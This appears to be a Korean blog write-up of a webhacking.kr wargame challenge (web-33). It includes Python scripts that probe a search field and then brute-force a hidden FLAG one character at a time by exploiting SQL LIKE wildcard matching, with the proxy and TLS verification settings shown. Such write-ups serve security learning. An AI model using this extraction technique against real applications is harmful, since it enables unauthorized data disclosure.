readme를 누르면, access denied라고 뜨는 것을 봐서 readme를 읽는 것이 문제인 것같다 ( •́ ̯•̀ )
소스코드에도 아무런 힌트가 없어서 search에다가 이것저것 입력해보았다.
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://webhacking.kr/challenge/web-33/"
headers = {"Cookie" : "세션 값"}
proxies = { "http" : "http://127.0.0.1:8888",
"https": "https://127.0.0.1:8888" }
for i in range(26):
alpha_list = list(string.ascii_lowercase)
alpha = alpha_list[i]
data = { "search" : alpha }
res = requests.post(url=url, headers=headers, data=data, proxies=proxies, verify=False)
-> 알파벳 순서대로 search에 입력해보는 소스코드
guest만 출력 : ~
admin만 출력 : hi, a, c, d, f, g, i, k, m, n, s, t, u, y
guest & admin 모두 출력 : e, h, l, o
id칼럼을 기준으로 출력되는건지, subject칼럼을 기준으로 출력되는 건지 보려고했지만, 둘 다 아니였다. (만약 id칼럼을 기준으로 출력되는 것이였다면 guest는 g,u,e,s,t를 입력했을 때 나와야하는데 g를 누르면 admin이 출력됨)
그러다가 FLAG{를 입력해봤는데 admin만 출력되었다 (❁´▽`❁)
아래는 FLAG값을 알아내기 위한 코드이다.
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://webhacking.kr/challenge/web-33/"
headers = {"Cookie" : "세션 값"}
proxies = { "http" : "http://127.0.0.1:8888",
"https": "https://127.0.0.1:8888" }
Done = False
flag = "FLAG{"
string.punctuation = string.punctuation.replace('%','')
string.punctuation = string.punctuation.replace('_', '')
mystr = string.ascii_letters + string.punctuation + '_'
while not Done:
for char in mystr:
data = { "search" : flag+char }
res = requests.post(url=url, headers=headers, data=data, proxies=proxies, verify=False)
if "</td><td>admin</td><td>" in res.text:
flag += char
print("Found character : %s" %flag)
if char == "}":
Done = True
break
print("Not Matched : %s" %char)
코드를 실행시키면, FLAG값이 출력된다 ~~!!~! ㅎㅅㅎ
sql문에서 주의할 기호들 %, _
'WEB > webhacking.kr (old)' 카테고리의 다른 글
webhacking.kr 59번 (0) | 2020.02.18 |
---|---|
webhacking.kr 58번 (0) | 2020.02.18 |
webhacking.kr 54번 (0) | 2020.02.16 |
webhacking.kr 51번 (0) | 2020.02.16 |
webhacking.kr 47번 (0) | 2020.02.14 |